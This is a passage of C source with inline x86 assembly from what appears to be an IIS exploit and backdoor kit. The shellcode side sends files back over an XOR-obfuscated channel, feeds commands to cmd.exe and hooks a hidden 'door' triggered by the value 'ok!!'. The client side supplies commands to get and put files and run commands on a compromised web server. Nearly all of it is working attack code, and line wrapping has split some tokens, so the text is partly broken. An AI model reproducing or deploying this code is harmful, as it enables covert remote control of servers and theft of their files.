- if(k==1&&lBytesRead>4&&Buff[0]=='g'&&Buff[1]=='e'&&Buff[2]=='t'&&Buff[3]
- ==' '){
-
- //
- fpt=CreateFileAadd(Buff+4,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTIN
- G,FILE_ATTRIBUTE_NORMAL,0);
-
-
- fpt=CreateFileAadd(Buff+4,GENERIC_READ,FILE_SHARE_READ+FILE_SHARE_WRITE,
- NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
- Sleepadd(100);
- l=GetFileSizeadd(fpt,&k);
- *(int *)Buff='ezis'; //size
- *(int *)(Buff+4)=l;
- lBytesRead=8;
- for(i=0;i<lBytesRead;++i){
- lockintvar2=lockintvar2*0x100;
- lockintvar2=lockintvar2%LOCKBIGNUM;
- lockcharvar=lockintvar2%0x100;
- Buff[i]^=lockcharvar; // DATAXORCODE;
- }
-
- writeclient(ConnID,Buff,&lBytesRead,0); //
- HSE_IO_SYNC);
- // Sleepadd(100);
- i=0;
- while(l>0){
- k=SHELLBUFFSIZE;
- ReadFileadd(fpt,Buff,k,&k,0);
- if(k>0){
- for(i=0;i<k;++i){
- lockintvar2=lockintvar2*0x100;
- lockintvar2=lockintvar2%LOCKBIGNUM
- ;
- lockcharvar=lockintvar2%0x100;
- Buff[i]^=lockcharvar; //
- DATAXORCODE;
- }
-
- i=0;
- l-=k;
- writeclient(ConnID,Buff,&k,0); //
- HSE_IO_SYNC);
- // Sleepadd(100);
- //
- k=readclient(ConnID,Buff,&lBytesRead);
-
- }
- else ++i;
- if(i>100) l=0;
- }
- CloseHandleadd(fpt);
- l=0;
- }
- else l=1;
- }
- }
- if(k!=1){
- k=8;
- WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit cmd.exe
- WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit cmd.exe
- WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit cmd.exe
- k=GetLastErroradd();
- while(k==0x2746){
- if(thedoor==1) goto asmreturn;
- Sleepadd(0x7fffffff); //½©ËÀ
- }
-
- }
- else{
-
- WriteFileadd(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
- // Sleepadd(1000);
- }
- }
- }
-
- die: goto die ;
- _asm{
- asmreturn:
- mov eax,HSE_STATUS_SUCCESS
- leave
- ret 04
- door: push eax
- mov eax,[esp+0x08]
- mov eax,[eax+0x64]
- mov eax,[eax]
- cmp eax,'ok!!'
- jnz jmpold
- pop eax
- push 0x12345678 //dooradd-0x13
- ret
- jmpold: pop eax
- push 0x12345678 //dooradd-0xc
- ret //1
- jmp door //2
- getdoorcall: call getdooradd //5
-
- getexceptretadd: pop eax
- push eax
- mov edi,dword ptr [stradd]
- mov dword ptr [edi-0x0e],eax
- ret
- errprogram: mov eax,dword ptr [esp+0x0c]
- add eax,0xb8
- mov dword ptr [eax],0x11223344 //stradd-0xe
- xor eax,eax //2
- ret //1
- execptprogram: jmp errprogram //2 bytes stradd-7
- nextcall: call getstradd //5 bytes
- NOP
- NOP
- NOP
- NOP
- NOP
- NOP
- NOP
- NOP
- NOP
- }
- }
- void cleanchkesp(char *fnadd,char *shellbuff,char * chkesp,int len)
- {
- int i,k;
- unsigned char temp;
- char *calladd;
- for(i=0;i<len;++i){
- temp=shellbuff[i];
- if(temp==0xe8){
- k=*(int *)(shellbuff+i+1);
- calladd=fnadd;
- calladd+=k;
- calladd+=i;
- calladd+=5;
- if(calladd==chkesp){
- shellbuff[i]=0x90;
- shellbuff[i+1]=0x43; // inc ebx
- shellbuff[i+2]=0x4b; // dec ebx
- shellbuff[i+3]=0x43;
- shellbuff[i+4]=0x4b;
- }
- }
- }
- }
- void iisput(int fd,char *str){
- char *filename;
- char *filename2;
- FILE *fpt;
- char buff[0x2000];
- int size=0x2000,i,j,filesize,filesizehigh;
- filename="\0";
- filename2="\0";
- j=strlen(str);
- for(i=0;i<j;++i,++str){
- if(*str!=' '){
- filename=str;
- break;
- }
- }
- for(;i<j;++i,++str){
- if(*str==' ') {
- *str=0;
- break;
- }
- }
- ++i;
- ++str;
- for(;i<j;++i,++str){
- if(*str!=' '){
- filename2=str;
- break;
- }
- }
- for(;i<j;++i,++str){
- if(*str==' ') {
- *str=0;
- break;
- }
- }
- if(filename=="\x0") {
- printf("\n iisput filename [path\\fiename]\n");
- return;
- }
- if(filename2=="\x0") filename2=filename;
- printf("\n begin put file:%s",filename);
- j=0;
- ioctlsocket(fd, FIONBIO, &j);
- Sleep(1000);
- fpt=CreateFile(filename,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,
- FILE_ATTRIBUTE_NORMAL,0);
- filesize=GetFileSize(fpt,&filesizehigh);
- strcpy(buff,"put ");
- *(int *)(buff+4)=filesize;
- filesize=*(int *)(buff+4);
- strcpy(buff+0x8,filename2);
- newsend(fd,buff,i+0x9,0);
- printf("\n put file:%s to file:%s %d
- bytes",filename,filename2,filesize);
- Sleep(1000);
- while(filesize>0){
- size=0x800;
- ReadFile(fpt,buff,size,&size,NULL);
- if(size>0){
- filesize-=size;
- newsend(fd,buff,size,0);
- // Sleep(0100);
-
- }
- }
- // size=filesize;
- // ReadFile(fpt,buff,size,&size,NULL);
- // if(size>0) send(fd,buff,size,0);
- CloseHandle(fpt);
- j=1;
- ioctlsocket(fd, FIONBIO, &j);
- printf("\n put file ok!\n");
- Sleep(1000);
- }
- void iisget(int fd,char *str){
- char *filename;
- char *filename2;
- FILE *fpt;
- char buff[0x2000];
- int size=0x2000,i,j,filesize,filesizehigh;
- filename="\0";
- filename2="\0";
- j=strlen(str);
- for(i=0;i<j;++i,++str){
- if(*str!=' '){
- filename=str;
- break;
- }
- }
- for(;i<j;++i,++str){
- if(*str==' ') {
- *str=0;
- break;
- }
- }
- ++i;
- ++str;
- for(;i<j;++i,++str){
- if(*str!=' '){
- filename2=str;
- break;
- }
- }
- for(;i<j;++i,++str){
- if(*str==' ') {
- *str=0;
- break;
- }
- }
- if(filename=="\x0") {
- printf("\n iisget filename [path\\fiename]\n");
- return;
- }
- if(filename2=="\x0") filename2=filename;
- printf("\n begin get file:%s",filename);
- fpt=CreateFileA(filename,FILE_FLAG_WRITE_THROUGH+GENERIC_WRITE,FILE_SHAR
- E_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
- strcpy(buff,"get ");
- strcpy(buff+0x4,filename2);
- newsend(fd,buff,i+0x5,0);
- printf("\n get file:%s from file:%s",filename,filename2);
- j=0;
- ioctlsocket(fd, FIONBIO, &j);
- i=0;
- filesize=0;
- j=0;
- while(j<100){
- // Sleep(100);
- i=newrecv(fd,buff,0x800,0);
- if(i>0){
- buff[i]=0;
- if(memcmp(buff,"size",4)==0){
- filesize=*(int *)(buff+4);
- j=100;
- }
- else {
-
- /* for(j=0;j<i;++j){
- lockintvar1=lockintvar1*0x100;
- lockintvar1=lockintvar1%LOCKBIGNUM;
- lockcharvar=lockintvar1%0x100;
- buff[j]^=lockcharvar; // DATAXORCODE;
- }
- */
- j=0;
- printf("\n recv %s",buff);
- }
- }
- else ++j;
- // if(j>1000) i=0;
- }
- printf("\n file %d bytes %d\n",filesize,i);
- if(i>8){
- i-=8;
- filesize-=i;
- WriteFile(fpt,buff+8,i,&i,NULL);
-
- }
- while(filesize>0){
- size=newrecv(fd,buff,0x800,0);
- if(size>0){
- filesize-=size;
- WriteFile(fpt,buff,size,&size,NULL);
-
- }
- else {
- if(size==0) {
- printf("\n ftp close \n ");
- }
- else {
- printf("\n Sleep(100)");
- Sleep(100);
- }
- }
- }
- CloseHandle(fpt);
- printf("\n get file ok!\n");
- j=1;
- ioctlsocket(fd, FIONBIO, &j);
- }
- void iisreset(int fd,char *str){
- char buff[0x2000];
- int i,j;
- printf("\nreset xor data.\n");
- Sleep(1000);
- j=0;
- ioctlsocket(fd, FIONBIO, &j);
- strcpy(buff,"reset");
- newsend(fd,buff,strlen(buff),0);
- Sleep(1000);
-
- lockintvar1=LOCKBIGNUM2%LOCKBIGNUM;
- lockintvar2=lockintvar1;
- while(1){
- j=recv(fd,buff,0x2000,0);
- if(j>0){
- buff[j]=0;
- for(i=0;i<j;++i){
- if(buff[i]==0) buff[i]='b';
- }
- // printf("\nrecv 0x%x bytes:%s",j,buff);
- if(strstr(buff,"xordatareset")!=0){
- printf("\nxor data reset ok.\n");
- for(i=strstr(buff,"xordatareset")-buff+0x0c;i<j;++i){
- lockintvar1=lockintvar1*0x100;
- lockintvar1=lockintvar1%LOCKBIGNUM;
- lockcharvar=lockintvar1%0x100;
- buff[i]^=lockcharvar; // DATAXORCODE;
- }
-
- break;
- }
- }
- // else if(j==0) break;
- // strcpy(buff,"\r\nmkdir d:\\test6\r\n");
- // newsend(fd,buff,strlen(buff),0);
- }
- Sleep(1000);
- j=1;
- ioctlsocket(fd, FIONBIO, &j);
- // printf("aaa");
- }
- void iisdie(int fd,char *str){
- char buff[0x200];
- int j;
- printf("\niis die.\n");
- j=0;
- ioctlsocket(fd, FIONBIO, &j);
- Sleep(1000);
- strcpy(buff,"iisrr ");
- newsend(fd,buff,strlen(buff),0);
- Sleep(1000);
- j=1;
- ioctlsocket(fd, FIONBIO, &j);
- lockintvar1=LOCKBIGNUM2%LOCKBIGNUM;
- lockintvar2=lockintvar1;
- }
- void iiscmd(int fd,char *str){
- char *cmd="\0";
- char buff[2000];
- int i,j;
- j=strlen(str);
- for(i=0;i<j;++i,++str){
- if(*str!=' '){
- cmd=str;
- break;
- }
- }
- j=strlen(str);
- for(i=0;i<j;++i){
- if(*(str+j-i-1)!=' ') {
- break;
- }
- else *(str+j-i-1)=0;
- }
-
- if(cmd=="\x0") {
- printf("\niiscmd cmd\n");
- return;
- }
- printf("\nbegin run cmd:%s",cmd);
- j=0;
- ioctlsocket(fd, FIONBIO, &j);
- Sleep(1000);
- strcpy(buff,"iisc ");
- strcat(buff,cmd);
- newsend(fd,buff,strlen(buff),0);
- Sleep(1000);
- j=1;
- ioctlsocket(fd, FIONBIO, &j);
- /*
- lockintvar1=LOCKBIGNUM2%LOCKBIGNUM;
- lockintvar2=lockintvar1;
- */
- }
- int newrecv(int fd,char *buff,int size,int flag){
-
- int i,k;
- k=recv(fd,buff,size,flag);
- if(xordatabegin==1){
- for(i=0;i<k;++i){
- lockintvar1=lockintvar1*0x100;
- lockintvar1=lockintvar1%LOCKBIGNUM;
- lockcharvar=lockintvar1%0x100;
- buff[i]^=lockcharvar; // DATAXORCODE;
- }
-
- }
- else{
- if(k>0){
- buff[k]=0;
- if(strstr(buff,"XORDATA")!=0) {
- xordatabegin=1;
- for(i=strstr(buff,"XORDATA")-buff+8;i<k;++i){
- lockintvar1=lockintvar1*0x100;
- lockintvar1=lockintvar1%LOCKBIGNUM;
- lockcharvar=lockintvar1%0x100;
- buff[i]^=lockcharvar; // DATAXORCODE;
- }
- }
- }
-
- }
- return(k);
- }
- int newsend(int fd,char *buff,int size,int flag){
- int i;
-
- for(i=0;i<size;++i){
- lockintvar2=lockintvar2*0x100;
- lockintvar2=lockintvar2%LOCKBIGNUM;
- lockcharvar=lockintvar2%0x100;
- buff[i]^=lockcharvar; // DATAXORCODE;
- // buff[i]^=DATAXORCODE;
- }
- return(send(fd,buff,size,flag));
- }
- void iishelp(){
- printf("\nusage:");
- printf("\niisget filename filename. get file from web server.");
- printf("\niisput filename filename. put file to web server.");
- printf("\niiscmd cmd. run cmd on web server.");
- printf("\niisreset. reset the xor data.");
- printf("\niisdie. reset the asp door.");
- printf("\n\n");
- }
-